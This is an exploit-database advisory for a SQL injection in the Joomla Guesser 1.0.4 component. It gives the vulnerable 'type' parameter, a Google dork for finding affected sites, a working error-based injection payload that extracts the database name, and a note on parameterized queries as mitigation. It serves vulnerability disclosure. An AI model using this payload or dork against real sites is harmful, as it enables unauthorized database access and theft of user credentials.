Joomla! Component Guesser v1.0.4 - SQL Injection

vendor:

Joomla Component Guesser

by:

Ihsan Sencan

7,5

CVSS

HIGH

SQL Injection

CWE

Product Name: Joomla Component Guesser

Affected Version From: 1.0.4

Affected Version To: 1.0.4

Patch Exists: NO

Related CWE: N/A

CPE: a:bitsgeo:joomla_component_guesser

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Win7 x64, Kali Linux x64

2017

Joomla! Component Guesser v1.0.4 – SQL Injection

An attacker can exploit a SQL injection vulnerability in Joomla! Component Guesser v1.0.4 to gain access to the database. The attacker can send a malicious SQL query to the vulnerable parameter 'type' in the 'guessers' script. This can be done by appending the malicious SQL query to the vulnerable parameter in the following format: http://localhost/[PATH]/guessers?type=[SQL]. The malicious SQL query can be used to extract information from the database, such as usernames and passwords.

Mitigation:

Developers should always use parameterized queries, also known as prepared statements, when interacting with the database. This will ensure that the user input is treated as a string value rather than part of the SQL query.

Source

Exploit-DB raw data:

# # # # # 
# Exploit Title: Joomla! Component Guesser v1.0.4 - SQL Injection
# Google Dork: inurl:index.php?option=com_guesser
# Date: 02.03.2017
# Vendor Homepage: http://www.bitsgeo.com/
# Software: https://extensions.joomla.org/extensions/extension/marketing/guesser/
# Demo: http://www.bitsgeo.com/guesson/
# Version: 1.0.4
# Tested on: Win7 x64, Kali Linux x64
# # # # # 
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail : ihsan[@]ihsan[.]net
# # # # #
# SQL Injection/Exploit :
# http://localhost/[PATH]/guessers?type=[SQL]
# 'and(select+1+from+(select+count(*),concat((select(select+concat(cast(database()+as+char),0x3c3c3c,0x7e,0x496873616e2053656e63616e))+from information_schema.tables+where+table_schema=database()+limit+0,1),floor(rand(0)*2))x+from+information_schema.tables group+by+x)a)+AND+'Ihsan'='Sencan
# # # # #